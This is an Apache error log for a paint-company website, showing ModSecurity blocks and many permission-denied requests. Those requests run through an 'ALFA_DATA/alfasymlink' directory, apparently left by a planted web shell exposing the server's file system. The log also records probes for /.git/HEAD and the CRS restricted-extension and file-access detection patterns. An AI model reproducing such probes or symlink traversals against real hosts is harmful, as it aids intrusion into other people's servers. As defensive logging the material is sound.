[Sun Oct 25 17:05:14.169525 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 18.215.24.66:6851] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:05:16.781777 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 179.209.206.208:53788] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_revoke_record_s/remote_node_defrag_ratio
[Sun Oct 25 17:05:18.150290 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 35.173.38.202:21831] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:05:22.148067 2026] [ssl:error] [pid 2901649:tid 2901649] (70014)End of file found: [client 34.206.193.60:25930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:05:30.253222 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 184.72.84.154:9030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/block/sr0/device/bsg/1:0:0:0/device/driver/1:0:0:0/subsystem/drivers_probe
[Sun Oct 25 17:05:35.662714 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 76.124.97.151:46917] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/objs_per_slab
[Sun Oct 25 17:05:36.030211 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 76.39.190.246:28011] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/object_size
[Sun Oct 25 17:05:36.810408 2026] [security2:error] [pid 2899790:tid 2899790] [client 175.178.110.121:34422] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at5vIOj6DCVEuk3Dl4K4tgAAAAQ"], referer: http://sherwinpinturas.com
[Sun Oct 25 17:05:36.826186 2026] [authz_core:error] [pid 2899790:tid 2899790] [client 175.178.110.121:34422] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sun Oct 25 17:05:38.211729 2026] [core:error] [pid 2901509:tid 2901509] (13)Permission denied: [client 178.128.79.75:36714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/object_size
[Sun Oct 25 17:05:38.218432 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 52.54.249.218:56931] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/LNXCPU:00/physical_node/crash_notes_size
[Sun Oct 25 17:05:38.591550 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 41.254.86.60:31393] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/objs_per_slab
[Sun Oct 25 17:05:40.702030 2026] [core:error] [pid 2898267:tid 2898267] (13)Permission denied: [client 80.30.55.134:42002] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Namespace/objs_per_slab
[Sun Oct 25 17:05:44.716156 2026] [ssl:error] [pid 2899619:tid 2899619] (70014)End of file found: [client 85.208.96.205:28950] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:05:46.435431 2026] [ssl:error] [pid 2901652:tid 2901652] (70014)End of file found: [client 185.191.171.14:47614] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:05:49.053653 2026] [security2:error] [pid 2899543:tid 2899543] [client 107.172.76.131:64737] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5vH8Y9yad2bfqj7tUHLAAAAAo"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 17:05:49.053714 2026] [security2:error] [pid 2899543:tid 2899543] [client 107.172.76.131:64737] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5vH8Y9yad2bfqj7tUHLAAAAAo"], referer: https://hosp2.sherwinpinturas.com/beta.php
[Sun Oct 25 17:05:54.359925 2026] [ssl:error] [pid 2899790:tid 2899790] (5)Input/output error: [client 35.168.238.50:53406] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:06:06.164712 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 35.174.253.85:46894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:06:10.168224 2026] [ssl:error] [pid 2899538:tid 2899538] (70014)End of file found: [client 100.27.153.9:54811] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:06:14.291170 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 18.215.112.101:37904] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:06:16.422337 2026] [security2:error] [pid 2901509:tid 2901509] [client 85.208.96.200:41150] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".inc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/drawpmsg.inc"] [unique_id "at5vSBxdWbCVrJdrEKPVjQAAAAE"]
[Sun Oct 25 17:06:16.422750 2026] [security2:error] [pid 2901509:tid 2901509] [client 85.208.96.200:41150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/drawpmsg.inc"] [unique_id "at5vSBxdWbCVrJdrEKPVjQAAAAE"]
[Sun Oct 25 17:06:16.423071 2026] [security2:error] [pid 2901509:tid 2901509] [client 85.208.96.200:41150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/fud/default/drawpmsg.inc"] [unique_id "at5vSBxdWbCVrJdrEKPVjQAAAAE"]
[Sun Oct 25 17:06:17.672832 2026] [core:error] [pid 2901652:tid 2901652] (13)Permission denied: [client 82.222.239.106:52520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/objects
[Sun Oct 25 17:06:19.872364 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 41.230.74.63:42796] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/objects
[Sun Oct 25 17:06:21.637399 2026] [core:error] [pid 2899790:tid 2899790] (13)Permission denied: [client 75.182.66.157:40622] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/objects
[Sun Oct 25 17:06:22.153761 2026] [ssl:error] [pid 2899619:tid 2899619] (70014)End of file found: [client 44.221.180.179:43795] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:06:26.155234 2026] [ssl:error] [pid 2901884:tid 2901884] (70014)End of file found: [client 52.3.104.214:33999] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:06:30.147928 2026] [ssl:error] [pid 2901652:tid 2901652] (70014)End of file found: [client 34.225.24.180:16015] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:06:42.008893 2026] [security2:error] [pid 2901884:tid 2901884] [client 92.118.39.93:34588] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5vYi2Ruv4ouI3ozJsYGwAAAAw"]
[Sun Oct 25 17:06:42.009152 2026] [security2:error] [pid 2901884:tid 2901884] [client 92.118.39.93:34588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5vYi2Ruv4ouI3ozJsYGwAAAAw"]
[Sun Oct 25 17:06:42.009426 2026] [security2:error] [pid 2901884:tid 2901884] [client 92.118.39.93:34588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas2.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5vYi2Ruv4ouI3ozJsYGwAAAAw"]
[Sun Oct 25 17:06:42.037709 2026] [security2:error] [pid 2901652:tid 2901652] [client 92.118.39.93:34590] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5vYopmZqacL6KQiJJFEAAAAAs"]
[Sun Oct 25 17:06:42.037955 2026] [security2:error] [pid 2901652:tid 2901652] [client 92.118.39.93:34590] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5vYopmZqacL6KQiJJFEAAAAAs"]
[Sun Oct 25 17:06:42.038270 2026] [security2:error] [pid 2901652:tid 2901652] [client 92.118.39.93:34590] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5vYopmZqacL6KQiJJFEAAAAAs"]
[Sun Oct 25 17:06:42.160611 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 54.84.161.62:45848] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:06:43.886657 2026] [security2:error] [pid 2899619:tid 2899619] [client 92.118.39.93:34606] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5vY_U7CHxL1Z61W2QUDAAAAD8"]
[Sun Oct 25 17:06:43.886930 2026] [security2:error] [pid 2899619:tid 2899619] [client 92.118.39.93:34606] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5vY_U7CHxL1Z61W2QUDAAAAD8"]
[Sun Oct 25 17:06:43.887195 2026] [security2:error] [pid 2899619:tid 2899619] [client 92.118.39.93:34606] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5vY_U7CHxL1Z61W2QUDAAAAD8"]
[Sun Oct 25 17:06:54.136297 2026] [ssl:error] [pid 2901649:tid 2901649] (5)Input/output error: [client 98.82.63.147:45782] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:07:16.997594 2026] [security2:error] [pid 2898267:tid 2898267] [client 43.135.172.89:56668] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/listing_sample.html"] [unique_id "at5vhILIYU_dHwKY8MQoSAAAAAI"]
[Sun Oct 25 17:07:18.072290 2026] [core:error] [pid 2899538:tid 2899538] (13)Permission denied: [client 104.194.217.1:38385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/destroy_by_rcu
[Sun Oct 25 17:07:19.799355 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 76.36.21.190:5148] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/destroy_by_rcu
[Sun Oct 25 17:07:22.531445 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 206.1.83.152:42570] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fsnotify_mark_connector/destroy_by_rcu
[Sun Oct 25 17:07:26.149596 2026] [ssl:error] [pid 2898267:tid 2898267] (70014)End of file found: [client 54.163.169.168:47283] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:07:38.137064 2026] [ssl:error] [pid 2900724:tid 2900724] (70014)End of file found: [client 18.235.81.246:24541] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:07:45.162180 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 85.189.13.56:58830] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/destroy_by_rcu
[Sun Oct 25 17:07:46.891883 2026] [core:error] [pid 2899599:tid 2899599] (13)Permission denied: [client 187.14.224.83:57956] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_stable_node/destroy_by_rcu
[Sun Oct 25 17:07:50.158246 2026] [ssl:error] [pid 2899590:tid 2899590] (70014)End of file found: [client 3.226.106.93:27144] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:07:51.365215 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 185.191.171.15:39042] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/task_struct/shrink
[Sun Oct 25 17:07:54.152548 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 52.45.15.233:23376] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:07:58.052036 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 176.88.65.178:35772] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/aliases
[Sun Oct 25 17:07:58.195046 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 52.204.174.139:41886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/kernel/slab/dax_cache/align
[Sun Oct 25 17:08:08.986643 2026] [core:error] [pid 2899619:tid 2899619] (13)Permission denied: [client 102.204.225.125:39346] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/aliases
[Sun Oct 25 17:08:10.154661 2026] [core:error] [pid 2897962:tid 2897962] (13)Permission denied: [client 52.45.194.165:14664] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory17/node0/memory0/node0/memory10/subsystem/drivers_probe
[Sun Oct 25 17:08:17.678728 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 85.208.96.200:19960] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-2k/slabs_cpu_partial
[Sun Oct 25 17:08:27.855188 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 197.248.177.201:49112] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/sanity_checks
[Sun Oct 25 17:08:29.783272 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 173.33.203.113:45064] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/sanity_checks
[Sun Oct 25 17:08:34.163149 2026] [ssl:error] [pid 2899790:tid 2899790] (70014)End of file found: [client 23.23.214.190:51954] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:08:34.425334 2026] [core:error] [pid 2901884:tid 2901884] (13)Permission denied: [client 190.61.121.147:35336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/sanity_checks
[Sun Oct 25 17:08:38.166196 2026] [core:error] [pid 2900724:tid 2900724] (13)Permission denied: [client 23.21.227.240:35967] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/dev/char/4:2/subsystem/tty21/subsystem/ttyS1/custom_divisor
[Sun Oct 25 17:08:38.477895 2026] [core:error] [pid 2900794:tid 2900794] (13)Permission denied: [client 85.208.96.209:57978] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/free_calls
[Sun Oct 25 17:08:40.735968 2026] [ssl:error] [pid 2899619:tid 2899619] (70014)End of file found: [client 85.208.96.204:28090] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 17:08:42.155523 2026] [proxy_fcgi:error] [pid 2901649:tid 2901649] [client 44.194.139.149:47157] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 17:08:47.504118 2026] [security2:error] [pid 2901884:tid 2901884] [client 78.174.192.41:13530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/systemd/system-generators/systemd-gpt-auto-generator"] [unique_id "at5v3y2Ruv4ouI3ozJsYHgAAAAw"]
[Sun Oct 25 17:08:47.504177 2026] [security2:error] [pid 2901884:tid 2901884] [client 78.174.192.41:13530] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/systemd/system-generators/systemd-gpt-auto-generator"] [unique_id "at5v3y2Ruv4ouI3ozJsYHgAAAAw"]
[Sun Oct 25 17:08:48.120926 2026] [security2:error] [pid 2900724:tid 2900724] [client 84.54.72.73:34756] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-latency/tuned.conf"] [unique_id "at5v4Aq378EUsgdToaoR1AAAAAU"]
[Sun Oct 25 17:08:48.121502 2026] [security2:error] [pid 2900724:tid 2900724] [client 84.54.72.73:34756] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-latency/tuned.conf"] [unique_id "at5v4Aq378EUsgdToaoR1AAAAAU"]
[Sun Oct 25 17:08:48.121990 2026] [security2:error] [pid 2900724:tid 2900724] [client 84.54.72.73:34756] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-latency/tuned.conf"] [unique_id "at5v4Aq378EUsgdToaoR1AAAAAU"]
[Sun Oct 25 17:08:50.518575 2026] [security2:error] [pid 2899920:tid 2899920] [client 179.42.237.46:2729] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-latency/tuned.conf"] [unique_id "at5v4h8fO9KwLgqLGMRBtAAAAAc"]
[Sun Oct 25 17:08:50.519177 2026] [security2:error] [pid 2899920:tid 2899920] [client 179.42.237.46:2729] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib/tuned/network-latency/tuned.conf"] [unique_id "at5v4h8fO9KwLgqLGMRBtAAAAAc"]
